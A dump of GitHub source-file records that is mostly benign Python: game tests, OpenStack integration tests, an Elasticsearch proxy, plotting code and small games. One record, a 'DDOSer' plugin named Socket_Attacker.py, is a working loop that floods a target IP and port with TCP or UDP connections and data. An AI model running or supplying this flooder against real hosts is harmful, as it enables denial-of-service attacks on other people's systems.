len(blackjack_2p.dealer.hand) == 2\n\n@pytest.mark.game\ndef test_player_list_5(blackjack_5p):\n assert len(blackjack_5p.players) == 5\n\n@pytest.mark.hitting\n@pytest.mark.parametrize(\"card, value\", card_and_value)\ndef test_hitting(card, value, blackjack_1p):\n game = blackjack_1p\n game.card_to_hand(game.players[0], card)\n assert game.players[0].total == value\n\n@pytest.mark.hitting\n@pytest.mark.parametrize(\"card, value\", card_to_total)\ndef test_hitting_2(card, value, adding_to_total):\n game = adding_to_total\n game.card_to_hand(game.players[0], card)\n assert game.players[0].total == value\n\n@pytest.mark.hitting\n@pytest.mark.parametrize(\"card, value\", card_to_ace)\ndef test_hitting_3(card, value, adding_to_ace):\n game = adding_to_ace\n game.card_to_hand(game.players[0], card)\n assert game.players[0].total == value\n\n@pytest.mark.hitting\n@pytest.mark.parametrize('card, value', bust_check)\ndef test_busting(card, value, two_high_cards):\n game = two_high_cards\n game.card_to_hand(game.players[0], card)\n assert game.players[0].is_busted == value\n","repo_name":"JoshuaWalk/blackjack","sub_path":"tests/test_blackjack_rules.py","file_name":"test_blackjack_rules.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"29683089564","text":"# libs\nfrom socket import socket, AF_INET, SOCK_STREAM, SOCK_DGRAM\nimport plugins.DDOSer.Status_Holders as Holders\nfrom lib.GPL.IO import gpl_sleep\nfrom lib.core.Error_Handler import Handler\nimport lib.config.Error_Levels as Error_Levels\n\n# Attack\ndef SOCKET_Attacker(IP, Port, Protocol, Method, Sleep_Time, Data:bytes):\n try:\n while Holders.In_Attack:\n while Holders.In_Attack:\n # Create Session\n if Protocol == 1:\n # TCP\n Session = socket(AF_INET, SOCK_STREAM)\n else:\n # UDP\n Session = socket(AF_INET, SOCK_DGRAM)\n # Connect\n try:\n Session.connect((IP, Port))\n except:\n Handler(Error_Levels.Failed_Job, 'Failed to connect ' + IP + ':' + str(Port) + ' , retry after : ' + str(Sleep_Time))\n gpl_sleep(Sleep_Time)\n continue\n if Method == 1:\n # Connect & Close\n Session.close()\n gpl_sleep(Sleep_Time)\n else:\n # Send Data\n break\n # Attack if method is send data\n while Holders.In_Attack:\n try:\n Session.send(Data)\n except:\n # Socket Closed - Retry to connect\n break\n gpl_sleep(Sleep_Time)\n except (KeyboardInterrupt, EOFError):\n pass","repo_name":"witblack/G3nius-Tools-Sploit","sub_path":"G3nius-Tools/plugins/DDOSer/Socket_Attacker.py","file_name":"Socket_Attacker.py","file_ext":"py","file_size_in_byte":1552,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"78"} +{"seq_id":"38981370399","text":"def get_commands_help(*commands):\n for cmd in commands:\n names = ' '.join([f\"/{c}\" for c in cmd.handler.command])\n docs = cmd.__doc__\n if docs:\n docs = docs.strip()\n yield f\"{names} - {docs}\"\n else:\n yield names\n\n\ndef normalize_text(text: str):\n lines = text.strip().split('\\n')\n return '\\n'.join([line.strip() for line in lines])\n","repo_name":"vanyakosmos/reactor","sub_path":"backend/bot/core/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"78"} +{"seq_id":"13806752539","text":"import sys\nfrom math import sin, cos, sqrt, pi\nimport cv\nimport urllib2\n\n# toggle between CV_HOUGH_STANDARD and CV_HOUGH_PROBILISTIC\nUSE_STANDARD = False\n\nfilename = \"drawing.png\"\nsrc = cv.LoadImage(filename, cv.CV_LOAD_IMAGE_GRAYSCALE)\n\n\ncv.NamedWindow(\"Hough\", 1)\n\ndst = cv.CreateImage(cv.GetSize(src), 8, 1)\ncolor_dst = cv.CreateImage(cv.GetSize(src), 8, 3)\nstorage = cv.CreateMemStorage(0)\nlines = 0\ncv.Canny(src, dst, 50, 200, 3)\ncv.CvtColor(dst, color_dst, cv.CV_GRAY2BGR)\n\nwhile True:\n dst = cv.CreateImage(cv.GetSize(src), 8, 1)\n color_dst = cv.CreateImage(cv.GetSize(src), 8, 3)\n storage = cv.CreateMemStorage(0)\n lines = 0\n cv.Canny(src, dst, 50, 200, 3)\n cv.CvtColor(dst, color_dst, cv.CV_GRAY2BGR)\n\n if USE_STANDARD:\n lines = cv.HoughLines2(dst, storage, cv.CV_HOUGH_STANDARD, 1, pi / 180, 100, 0, 0)\n for (rho, theta) in lines[:100]:\n a = cos(theta)\n b = sin(theta)\n x0 = a * rho \n y0 = b * rho\n pt1 = (cv.Round(x0 + 1000*(-b)), cv.Round(y0 + 1000*(a)))\n pt2 = (cv.Round(x0 - 1000*(-b)), cv.Round(y0 - 1000*(a)))\n cv.Line(color_dst, pt1, pt2, cv.RGB(255, 0, 0), 3, 8)\n else:\n lines = cv.HoughLines2(dst, storage, cv.CV_HOUGH_PROBABILISTIC, 0.5, pi/720, 50, 50, 20)\n for line in lines:\n cv.Line(color_dst, line[0], line[1], cv.CV_RGB(255, 0, 0), 3, 8)\n\n\n cv.ShowImage(\"Hough\", color_dst)\n\n k = cv.WaitKey(0)\n if k == 1048603:\n break\ncv.DestroyAllWindows()\n","repo_name":"ppn029012/One-man-band","sub_path":"opencv_test/process_img.py","file_name":"process_img.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"75145972411","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom tempest import config\nfrom tempest.lib.common.utils import data_utils\nfrom tempest.lib import decorators\nfrom tempest.lib import exceptions\nimport time\n\nfrom senlin_tempest_plugin.common import constants\nfrom senlin_tempest_plugin.common import utils\nfrom senlin_tempest_plugin.tests.integration import base\n\nCONF = config.CONF\n\n\nclass TestHealthPolicy(base.BaseSenlinIntegrationTest):\n def setUp(self):\n super(TestHealthPolicy, self).setUp()\n\n self.spec = utils.create_spec_from_config(\n network_name=data_utils.rand_name('tempest-created-network')\n )\n utils.prepare_and_cleanup_for_nova_server(\n self, '192.168.198.0/24', spec=self.spec\n )\n self.profile_id = utils.create_a_profile(self)\n self.addCleanup(utils.delete_a_profile, self, self.profile_id)\n self.cluster_id = utils.create_a_cluster(self, self.profile_id,\n min_size=0, max_size=5,\n desired_capacity=1)\n self.addCleanup(utils.delete_a_cluster, self, self.cluster_id)\n\n @classmethod\n def skip_checks(cls):\n super(TestHealthPolicy, cls).skip_checks()\n if CONF.clustering.health_policy_version != '1.1':\n skip_msg = (\"%s skipped as only Health Policy 1.1 is supported\" %\n cls.__name__)\n raise cls.skipException(skip_msg)\n\n def _detach_policy(self, policy_id):\n # ignore BadRequest exceptions that are raised because\n # policy is not attached\n try:\n utils.cluster_detach_policy(self, self.cluster_id, policy_id)\n\n # wait to let health checks stop\n time.sleep(5)\n except exceptions.BadRequest:\n pass\n\n @decorators.attr(type=['integration'])\n @decorators.idempotent_id('d40ae276-2cbc-4073-b71d-0854ddf8c6a1')\n def test_health_policy(self):\n # Create a health policy\n spec = constants.spec_health_policy\n policy_id = utils.create_a_policy(self, spec)\n del_policy = utils.get_a_policy(self, policy_id)\n self.addCleanup(utils.delete_a_policy, self, del_policy['id'], True)\n http_server, log_file = utils.start_http_server()\n self.addCleanup(utils.terminate_http_server, http_server, log_file)\n\n # Attach health policy to cluster\n utils.cluster_attach_policy(self, self.cluster_id, del_policy['id'])\n self.addCleanup(self._detach_policy, del_policy['id'])\n\n # wait for health checks to run\n time.sleep(5)\n\n # check that URL was queried for each node as part of health check\n out = utils.terminate_http_server(http_server, log_file)\n self.assertTrue(out.count('GET') == 1)\n\n def _get_node(self, expected_len, index):\n # get physical id of node (cluster is expected to only contain 1 node)\n raw_nodes = utils.list_nodes(self)\n nodes = {\n n['id']: n['physical_id'] for n in raw_nodes\n if n['cluster_id'] == self.cluster_id\n }\n self.assertTrue(len(nodes) == expected_len)\n\n return list(nodes.keys())[index], list(nodes.values())[index]\n\n @decorators.idempotent_id('52f34125-3d6e-4250-9d2e-b619a2905969')\n @decorators.attr(type=['integration'])\n @decorators.idempotent_id('94b0c88a-2cd0-4fff-abbd-331e8369b7b4')\n def test_multiple_detection_modes_any(self):\n # Create a health policy\n spec = constants.spec_health_policy\n spec['properties']['detection']['recovery_conditional'] = 'ANY_FAILED'\n policy_id = utils.create_a_policy(self, spec)\n del_policy = utils.get_a_policy(self, policy_id)\n self.addCleanup(utils.delete_a_policy, self, del_policy['id'], True)\n http_server, log_file = utils.start_http_server()\n self.addCleanup(utils.terminate_http_server, http_server, log_file)\n\n # manually shutdown server\n node_id, server_id = self._get_node(1, 0)\n self.compute_client.run_operation_obj(\n 'servers', server_id, 'action', {'os-stop': None})\n\n # verify that server is shutdown\n self.compute_client.wait_for_status('servers', server_id,\n 'SHUTOFF', 60)\n\n # Attach health policy to cluster\n utils.cluster_attach_policy(self, self.cluster_id, del_policy['id'])\n self.addCleanup(self._detach_policy, del_policy['id'])\n\n # wait for health checks to run and recover node\n time.sleep(15)\n\n # verify that node has been recovered\n self.client.wait_for_status('nodes', node_id, 'ACTIVE', 60)\n\n # verify that new server is ACTIVE\n old_server_id = server_id\n node_id, server_id = self._get_node(1, 0)\n self.assertNotEqual(old_server_id, server_id)\n self.compute_client.wait_for_status('servers', server_id, 'ACTIVE', 60)\n\n # verify that old server no longer exists\n self.assertRaises(\n exceptions.NotFound,\n self.compute_client.get_obj, 'servers', old_server_id)\n\n @decorators.attr(type=['integration'])\n @decorators.idempotent_id('7ce88abb-0a7c-48a8-91ce-59463b75c1e5')\n def test_multiple_detection_modes_all(self):\n # Create a health policy\n spec = constants.spec_health_policy\n spec['properties']['detection']['recovery_conditional'] = 'ALL_FAILED'\n policy_id = utils.create_a_policy(self, spec)\n del_policy = utils.get_a_policy(self, policy_id)\n self.addCleanup(utils.delete_a_policy, self, del_policy['id'], True)\n http_server, log_file = utils.start_http_server()\n self.addCleanup(utils.terminate_http_server, http_server, log_file)\n\n # manually shutdown server\n node_id, server_id = self._get_node(1, 0)\n self.compute_client.run_operation_obj(\n 'servers', server_id, 'action', {'os-stop': None})\n\n # verify that server is shutdown\n self.compute_client.wait_for_status('servers', server_id,\n 'SHUTOFF', 60)\n\n # Attach health policy to cluster\n utils.cluster_attach_policy(self, self.cluster_id, del_policy['id'])\n self.addCleanup(self._detach_policy, del_policy['id'])\n\n # wait for health checks to run\n time.sleep(15)\n\n # verify that node status has not changed\n res = self.client.get_obj('nodes', node_id)\n self.assertEqual(res['body']['status'], 'ACTIVE')\n\n # verify that server is still stopped\n res = self.compute_client.get_obj('servers', server_id)\n self.assertEqual(res['body']['status'], 'SHUTOFF')\n\n # check that URL was queried because ALL_FAILED\n # was specified in the policy\n out = utils.terminate_http_server(http_server, log_file)\n self.assertTrue(out.count('GET') >= 0)\n\n # wait for health checks to run and recover node\n time.sleep(15)\n\n # verify that node has been recovered\n self.client.wait_for_status('nodes', node_id, 'ACTIVE', 60)\n\n # verify that new server is ACTIVE\n old_server_id = server_id\n node_id, server_id = self._get_node(1, 0)\n self.assertNotEqual(old_server_id, server_id)\n self.compute_client.wait_for_status('servers', server_id, 'ACTIVE', 60)\n\n # verify that old server no longer exists\n self.assertRaises(\n exceptions.NotFound,\n self.compute_client.get_obj, 'servers', old_server_id)\n\n @decorators.attr(type=['integration'])\n @decorators.idempotent_id('e78e0590-2df7-423b-8f71-8037e03598f3')\n def test_multiple_detection_modes_all_poll_url_fail(self):\n # Create a health policy\n spec = constants.spec_health_policy\n spec['properties']['detection']['recovery_conditional'] = 'ALL_FAILED'\n policy_id = utils.create_a_policy(self, spec)\n del_policy = utils.get_a_policy(self, policy_id)\n self.addCleanup(utils.delete_a_policy, self, del_policy['id'], True)\n\n # get node_id\n node_id, server_id = self._get_node(1, 0)\n\n # Attach health policy to cluster without http server running\n utils.cluster_attach_policy(self, self.cluster_id, del_policy['id'])\n self.addCleanup(self._detach_policy, del_policy['id'])\n\n # wait for health checks to run\n time.sleep(15)\n\n # verify that node status has not changed\n res = self.client.get_obj('nodes', node_id)\n self.assertEqual(res['body']['status'], 'ACTIVE')\n","repo_name":"openstack/senlin-tempest-plugin","sub_path":"senlin_tempest_plugin/tests/integration/test_health_policy.py","file_name":"test_health_policy.py","file_ext":"py","file_size_in_byte":9088,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"78"} +{"seq_id":"74440757372","text":"#!/usr/bin/env python3\n\nimport os\nimport datetime\nimport argparse\nimport logging\nimport json\n\nimport asyncio\nfrom aiohttp import web\n\nfrom connector import Connector\nimport configs\n\n\nCONNECTOR = Connector\nROOT_LOGGER = logging.getLogger()\nDISTRO_ROOT_PATH = os.path.dirname(os.path.abspath(__file__))\n\n\n@asyncio.coroutine\ndef porter(request: web.Request):\n \"\"\"\n Function as an intermediary between the ElasticSearchEngine and the user.\n Translates all user requests into an ElasticSearch\n :param request: user request\n :type request: web.Request\n :return:\n \"\"\"\n try:\n # try get response\n response_obj = CONNECTOR.curl(request, request.method)\n return web.Response(body=json.dumps(response_obj), status=200)\n except Exception as error:\n response_obj = {\"status\": \"failed\", \"message\": str(error)}\n return web.Response(body=json.dumps(response_obj), status=500)\n\n\n@asyncio.coroutine\ndef init(loop, host, port):\n \"\"\"\n Initializing a web application, setting routes\n :param loop:\n :type loop: asyncio event loop\n :param host: rest_api host\n :type host: str\n :param port: rest_api port\n :type port: int\n :return:\n \"\"\"\n app = web.Application()\n app.add_routes([\n web.get(\"/\", porter),\n web.get(\"/getpage\", porter)\n ])\n handler = app._make_handler()\n server = yield from loop.create_server(handler, host, port)\n return server.sockets[0].getsockname()\n\n\ndef run_server(host: str, port: int):\n \"\"\"\n Сonditional server startup. A loop is created for asynchronous query processing\n :param host: rest_api host\n :type host: str\n :param port: rest_api port\n :type port: int\n :return:\n \"\"\"\n loop = asyncio.get_event_loop()\n runtime = loop.run_until_complete(init(loop, host, port))\n debug_output(\"Serving on {}. Hit CTRL-C to stop.\".format(runtime))\n try:\n loop.run_forever()\n except KeyboardInterrupt:\n pass\n debug_output(\"\\nServer shutting down.\")\n loop.close()\n\n\ndef debug_output(text_message: str):\n \"\"\"\n Output to the console and the log file\n :param text_message:\n :return: None\n \"\"\"\n ROOT_LOGGER.info(text_message)\n print(text_message)\n\n\ndef waiting_connection_with_es(elastic_host: str, elastic_port: int):\n \"\"\"\n We are waiting for connection to elasticsearch\n At initialization, the dead_timeout attribute is passed, which pauses and repeats again\n :return: None\n \"\"\"\n global CONNECTOR\n CONNECTOR = Connector(elastic_host, elastic_port, dead_timeout=20)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(\n description=\"http server for elasticsearch\")\n parser.add_argument(\n \"--verbose\",\n help=\"enable debug mode\",\n action=\"store_true\")\n parser.add_argument(\n \"--mapping\",\n type=bool,\n help=\"create index with mapping and setting up es\",\n default=False)\n parser.add_argument(\n \"--delete\",\n type=bool,\n help=\"delete data and index\",\n default=False)\n parser.add_argument(\n \"--data\",\n type=bool,\n help=\"add simple data_files in ES\",\n default=False)\n args = parser.parse_args()\n\n # read the configuration settings\n conf = configs.Config()\n\n # waiting connection\n waiting_connection_with_es(conf.elastic_host, conf.elastic_port)\n\n # configuration logger\n if args.verbose:\n log_level = logging.INFO\n else:\n log_level = logging.ERROR\n\n ROOT_LOGGER.setLevel(log_level)\n ROOT_LOGGER.addHandler(\n logging.FileHandler(\n os.path.join(\n DISTRO_ROOT_PATH,\n 'logs',\n 'log.txt')))\n ROOT_LOGGER.info(\"\\nBeginning at: {}\".format(datetime.datetime.now()))\n\n # starting\n run_server(host=conf.api_host, port=conf.api_port)\n","repo_name":"cdeler/woogle","sub_path":"elastic/rest_api/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":3876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"39771326554","text":"#Snake variant\r\nimport turtle\r\nimport random\r\nimport time\r\nimport tkinter\r\n\r\nwn = turtle.Screen()\r\nwn.title(\"Echos by @Psilaxis\")\r\nwn.bgcolor(\"black\")\r\nwn.setup(width = 500, height = 500)\r\nwn.tracer(0)\r\n\r\nroot = turtle.Screen()._root\r\nroot.iconbitmap(\"G:\\DevProjects\\web\\Python\\games\\Images\\icon.ico\")\r\nimg = tkinter.Image(\"photo\", file=\"G:\\DevProjects\\web\\Python\\games\\Images\\icon.png\")\r\nturtle._Screen._root.iconphoto(True, img)\r\n\r\nCoins = 0\r\nLives = 3\r\ndelay = 0.1\r\n\r\n# Coin \r\ncoin = turtle.Turtle()\r\ncoin.speed(2)\r\ncoin.shape(\"circle\")\r\ncoin.color(\"yellow\")\r\ncoin.shapesize(stretch_wid=.1, stretch_len=.1)\r\ncoin.penup()\r\n\r\nx = random.randint(-250, 250)\r\ny = random.randint(-100, 250)\r\ncoin.goto(x,y) # Position of coin at start of game\r\n\r\n\r\n# Character\r\nchar = turtle.Turtle()\r\nchar.speed(0) # animation speed\r\nchar.shape(\"square\")\r\nchar.color(\"white\")\r\nchar.shapesize(stretch_wid=.5, stretch_len=.5) # increases the character size. 20 pixels tall and 20 wide. (default size without this line is 20 x 20)\r\nchar.penup() # penup to move without drawing, pendown to draw when moving \r\n# char.pensize(20)# Change the Pen Size\r\nchar.goto(-50,0) # Position of character at start of game\r\nchar.direction = 'stop'\r\n\r\nsegments = []\r\n\r\n# Pen - Coins / Lives\r\npen = turtle.Turtle()\r\npen.speed(0)\r\npen.color(\"white\")\r\npen.penup()\r\npen.hideturtle() # hides the turtle arrow from displaying.\r\npen.goto(0,200) # Location of the Score Board\r\npen.write(\"Coins: 0 Lives: 3\", align=\"center\", font=(\"Courier\", 24, \"normal\"))\r\n\r\n\r\n# Character Movement Function\r\ndef go_up():\r\n if char.direction != 'down':\r\n char.direction = 'up'\r\ndef go_down():\r\n if char.direction != 'up':\r\n char.direction = 'down'\r\ndef go_left():\r\n if char.direction != 'right':\r\n char.direction = 'left'\r\ndef go_right():\r\n if char.direction != 'left':\r\n char.direction = 'right'\r\n\r\n\r\n\r\ndef move():\r\n # Move the end segments first in reverse order\r\n for index in range(len(segments)-1, 0, -1):\r\n x = segments[index-1].xcor()\r\n y = segments[index-1].ycor()\r\n segments[index].goto(x,y)\r\n # Move segment 0 to the char\r\n if len(segments) > 0:\r\n x = char.xcor()\r\n y = char.ycor()\r\n segments[0].goto(x,y)\r\n # Keep the snake moving in the same direction\r\n if char.direction == 'up':\r\n char.sety(char.ycor() + 10)\r\n if char.direction == 'down':\r\n char.sety(char.ycor() - 10)\r\n if char.direction == 'left':\r\n char.setx(char.xcor() - 10)\r\n if char.direction == 'right':\r\n char.setx(char.xcor() + 10)\r\n\r\ndef collision(): \r\n global Lives\r\n Lives -= 1\r\n pen.clear()\r\n pen.write(\"Coins: {} Lives: {}\".format(Coins,Lives), align=\"center\", font=(\"Courier\", 24, \"normal\"))\r\n time.sleep(0.5)\r\n char.goto(0,0)\r\n char.direction = 'stop'\r\n # Hide the segments\r\n for segment in segments:\r\n segment.hideturtle()\r\n # Clear the segments list\r\n segments.clear()\r\n # Reset the delay\r\n delay = 0.1\r\n \r\n\r\n# keyboard Binding\r\nwn.listen()\r\nwn.onkeypress(go_up, 'Up')\r\nwn.onkeypress(go_down, 'Down')\r\nwn.onkeypress(go_left, 'Left')\r\nwn.onkeypress(go_right, 'Right')\r\n\r\nwhile True:\r\n\twn.update()\r\n\r\n\t# Player Border Creation\r\n\tif char.ycor() < -242:\r\n\t\tchar.sety(242)\r\n\r\n\tif char.ycor() > 242:\r\n\t\tchar.sety(-242)\r\n\r\n\tif char.xcor() < -242:\r\n\t\tchar.setx(242)\r\n\r\n\tif char.xcor() > 242:\r\n\t\tchar.setx(-242)\r\n\t\r\n\r\n\t#Game Over Screen\r\n\tif Lives == 0:\r\n\t\tpen.clear()\r\n\t\tpen.goto(0,0)\r\n\t\tpen.write(\"GAME OVER\", align=\"center\", font=(\"Courier\", 24, \"normal\"))\r\n\r\n\t#coin collision\r\n\tif char.distance(coin) < 10:\r\n\t\tCoins += 1\r\n\t\tnew_segment = turtle.Turtle()\r\n\t\tnew_segment.speed(0)\r\n\t\tnew_segment.shape('square')\r\n\t\tnew_segment.color(\"white\")\r\n\t\tnew_segment.shapesize(stretch_wid=.1, stretch_len=.1)\r\n\t\tnew_segment.penup()\r\n\t\tsegments.append(new_segment)\r\n\t\tdelay -= 0.001\r\n\r\n\t\tpen.clear()\r\n\t\tpen.write(\"Coins: {} Lives: {}\".format(Coins,Lives), align=\"center\", font=(\"Courier\", 24, \"normal\"))\r\n\t\t\r\n\t\tx = random.randint(-235, 235)\r\n\t\ty = random.randint(-235, 235)\r\n\t\tcoin.goto(x,y)\r\n\tmove()\r\n\r\n\t\t# Check for char collision with the body segments\r\n\tfor segment in segments:\r\n\t\tif segment.distance(char) < 5:\r\n\t\t\tcollision()\r\n\ttime.sleep(delay)\r\n\r\nwn.mainloop()\r\n","repo_name":"PsilAxis/PythonTools","sub_path":"SnakeVariant/Echos.py","file_name":"Echos.py","file_ext":"py","file_size_in_byte":4258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"27850787864","text":"import csv\ndef desafio():\n with open('Programas/Desafios/03 - Desafio Tratamento de csv/desafio-ibge.csv', encoding='ISO-8859-1') as entrada:\n print('Lendo Arquivo...')\n dados = entrada.read()\n print('Leitura completa...')\n\n for cidade in csv.reader(dados.splitlines()):\n print(f'{cidade[8]} : {cidade[3]}')\n\n\n if entrada.close:\n print('Arquivo fechado com sucesso') \n\nif __name__ == \"__main__\":\n desafio()","repo_name":"ThomasHartmannDev/CursoPython","sub_path":"Programas/Desafios/03 - Desafio Tratamento de csv/desafio_1.py","file_name":"desafio_1.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"pt","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"26536410821","text":"#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\"\"\"Code for plotting pretty barplots.\"\"\"\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib as mpl\r\nimport matplotlib.pyplot as plt\r\nfrom typing import Union, Optional\r\n\r\nfrom turbopanda.utils import as_flattened_numpy, belongs\r\n\r\nfrom ._palette import palette_cmap, cat_array_to_color, lighten\r\nfrom ._annotate import annotate as annotate_labels\r\nfrom ._default import _Numeric, _ArrayLike, _ListLike\r\nfrom ._widgets import map_legend\r\n\r\n__all__ = (\"bar1d\", \"widebar\", \"errorbar1d\")\r\n\r\n\r\ndef _plot_bar_orient(\r\n ax,\r\n ticks,\r\n labels,\r\n values,\r\n sd=None,\r\n vert=True,\r\n c=\"k\",\r\n w=0.8,\r\n lrot=0.0,\r\n annotate=False,\r\n lines=None,\r\n vlabel=None,\r\n):\r\n bar_args = {\"ecolor\": \"k\", \"capsize\": 4}\r\n # plot bar here\r\n bar_f = ax.bar if vert else ax.barh\r\n tick_pos_f = ax.set_xticks if vert else ax.set_yticks\r\n tick_label_f = ax.set_xticklabels if vert else ax.set_yticklabels\r\n bar_line_f = ax.hlines if vert else ax.vlines\r\n ax_label_f = ax.set_ylabel if vert else ax.set_xlabel\r\n\r\n if sd is not None:\r\n err_args = {\"yerr\": sd, \"width\": w} if vert else {\"xerr\": sd, \"height\": w}\r\n err_c = lighten(c, 0.2)\r\n bar_f(ticks, values, color=err_c, **err_args, **bar_args)\r\n else:\r\n err_args = {\"width\": w} if vert else {\"height\": w}\r\n bar_f(ticks, values, color=c, **err_args)\r\n\r\n # set ticks and labels\r\n tick_pos_f(ticks)\r\n tick_label_f(labels, rotation=lrot)\r\n # add optional horizontal lines\r\n if lines:\r\n line_args = (\r\n {\"xmin\": -0.5, \"xmax\": ticks.shape[0] - 0.5}\r\n if vert\r\n else {\"ymin\": -0.5, \"ymax\": ticks.shape[0] - 0.5}\r\n )\r\n bar_line_f(lines, linestyle=\"--\", color=\"k\", **line_args)\r\n # add optional annotations\r\n if annotate:\r\n if vert:\r\n annotate_labels(ticks, values, values, ax=ax)\r\n else:\r\n annotate_labels(values, ticks, values, ax=ax)\r\n # set the value label\r\n ax_label_f(vlabel)\r\n\r\n\r\ndef _determine_color_palette(cval, nticks, cmap):\r\n if cval is None:\r\n return palette_cmap(nticks, cmap=cmap)\r\n elif not isinstance(cval, str):\r\n pal, _ = cat_array_to_color(np.asarray(cval), cmap=cmap)\r\n return pal\r\n else:\r\n return cval\r\n\r\n\r\ndef _apply_data_sort(order, *arrays):\r\n # sort each array and return the complete list\r\n return list(map(lambda x: x[order], arrays))\r\n\r\n\r\ndef bar1d(\r\n X: _ArrayLike,\r\n Y: Optional[_ListLike] = None,\r\n c: Optional[Union[_ArrayLike, str]] = \"k\",\r\n vert: bool = True,\r\n sort: bool = True,\r\n ax: Optional[mpl.axes.Axes] = None,\r\n scale: str = \"linear\",\r\n annotate: bool = False,\r\n legend: bool = False,\r\n width: float = 0.8,\r\n label_rotation: float = 0.0,\r\n value_label: Optional[str] = None,\r\n sort_by: str = \"values\",\r\n cmap: str = \"Blues\",\r\n linesAt: Optional[Union[_Numeric, _ListLike]] = None,\r\n):\r\n \"\"\"Plots a 1 dimensional barplot.\r\n\r\n Parameters\r\n ----------\r\n X : list, tuple, np.ndarray, pd.Series\r\n Categorical/string/time labels for the data.\r\n If pandas.Series, Index must be categorical, Values must be numeric.\r\n Y : list, tuple, np.ndarray, optional\r\n If None, X must be a pd.Series. Must be numeric dtype.\r\n c : str/list/tuple/np.ndarray/pd.Series (1d), optional\r\n Defines the colour of each bar.\r\n If str, colours all of the bars with the same\r\n If array, must be a categorical type.\r\n If None, uses an automatic qualitative palette\r\n vert : bool, default=True\r\n Determines whether the plot is vertical or horizontal\r\n sort : bool, default=True\r\n Sorts the data or labels\r\n ax : matplotlib.ax.Axes, optional, default=None\r\n If None, creates one.\r\n scale : str, default=\"linear\"\r\n Determines how to scale the numeric axis.\r\n annotate : bool, default=False\r\n Determines whether values should be annotated\r\n legend : bool, default=False\r\n Choose whether to display a legend\r\n width : float, default=0.8\r\n The width of each bar in the barplot\r\n label_rotation : float, default=0\r\n The degrees of rotation to the ticklabels\r\n value_label : str, optional\r\n Defines a name for the numerical axis\r\n sort_by : str, default=\"values\"\r\n Defines how to sort the data if sort=True.\r\n Choose from {'values', 'labels'}\r\n cmap : str, default=\"Blues\"\r\n Defines a colormap if color values are specified\r\n linesAt : int, float, list, tuple, optional\r\n If set, defines one or more vertical lines to add to the barplot\r\n\r\n Returns\r\n -------\r\n ax : matplotlib.ax object\r\n Allows further modifications to the axes post-boxplot\r\n \"\"\"\r\n # define plot if not set\r\n\r\n belongs(sort_by, (\"values\", \"labels\"))\r\n\r\n if ax is None:\r\n fig, ax = plt.subplots(figsize=(8, 5))\r\n\r\n # X is either numerical (in which case there is no Y, or categorical labels)\r\n if Y is None:\r\n # in this case, X must contain all the data\r\n if isinstance(X, pd.Series):\r\n _labels = as_flattened_numpy(X.index)\r\n _values = as_flattened_numpy(X.values)\r\n _ticks = np.arange(X.shape[0])\r\n value_label = X.name\r\n else:\r\n _labels = _ticks = np.arange(len(X))\r\n _values = as_flattened_numpy(X)\r\n else:\r\n # X is labels, Y are numeric values (assume!)\r\n _labels = as_flattened_numpy(X)\r\n _values = as_flattened_numpy(Y)\r\n _ticks = np.arange(_labels.shape[0])\r\n\r\n # sort out colour\r\n pal = _determine_color_palette(c, _ticks.shape[0], cmap)\r\n\r\n # perform sorting here\r\n if sort:\r\n if sort_by == \"values\":\r\n _order = np.argsort(_values)\r\n elif sort_by == \"labels\":\r\n _order = np.argsort(_labels)\r\n else:\r\n raise ValueError(\r\n \"sort_by '{}': must be ['values', 'labels']\".format(sort_by)\r\n )\r\n # apply sort\r\n if not isinstance(c, (type(None), str)):\r\n _labels, _values, pal = _apply_data_sort(_order, _labels, _values, pal)\r\n else:\r\n _labels, _values = _apply_data_sort(_order, _labels, _values)\r\n\r\n # plot the bar\r\n _plot_bar_orient(\r\n ax,\r\n _ticks,\r\n _labels,\r\n _values,\r\n c=pal,\r\n w=width,\r\n vert=vert,\r\n lrot=label_rotation,\r\n annotate=annotate,\r\n lines=linesAt,\r\n vlabel=value_label,\r\n )\r\n # orient scale\r\n if vert:\r\n ax.set_yscale(scale)\r\n else:\r\n ax.set_xscale(scale)\r\n\r\n # map a legend to it\r\n if legend and not isinstance(c, str):\r\n map_legend(c, pal, \"o\", ax, False)\r\n\r\n return ax\r\n\r\n\r\ndef errorbar1d(\r\n data: pd.DataFrame,\r\n c: Optional[Union[_ArrayLike, str]] = \"k\",\r\n axis: Union[str, int] = 1,\r\n vert: bool = True,\r\n sort: bool = True,\r\n ax: Optional[mpl.axes.Axes] = None,\r\n width: float = 0.8,\r\n label_rotation: float = 0.0,\r\n cmap: str = \"Blues\",\r\n):\r\n \"\"\"Plots a barplot with error bars.\r\n\r\n Data is to be arranged such that one axis is the categorical variables,\r\n and the other is the axis to aggregate along (using mean and std)\r\n\r\n Parameters\r\n ----------\r\n data : pd.DataFrame\r\n The data to plot on.\r\n c : str/list/tuple/np.ndarray/pd.Series (1d), optional\r\n Defines the colour of each bar.\r\n If str, colours all of the bars with the same\r\n If array, must be a categorical type.\r\n If None, uses an automatic qualitative palette\r\n axis : int or str, default=1\r\n Choose from {0, 'rows', 1, 'columns'} 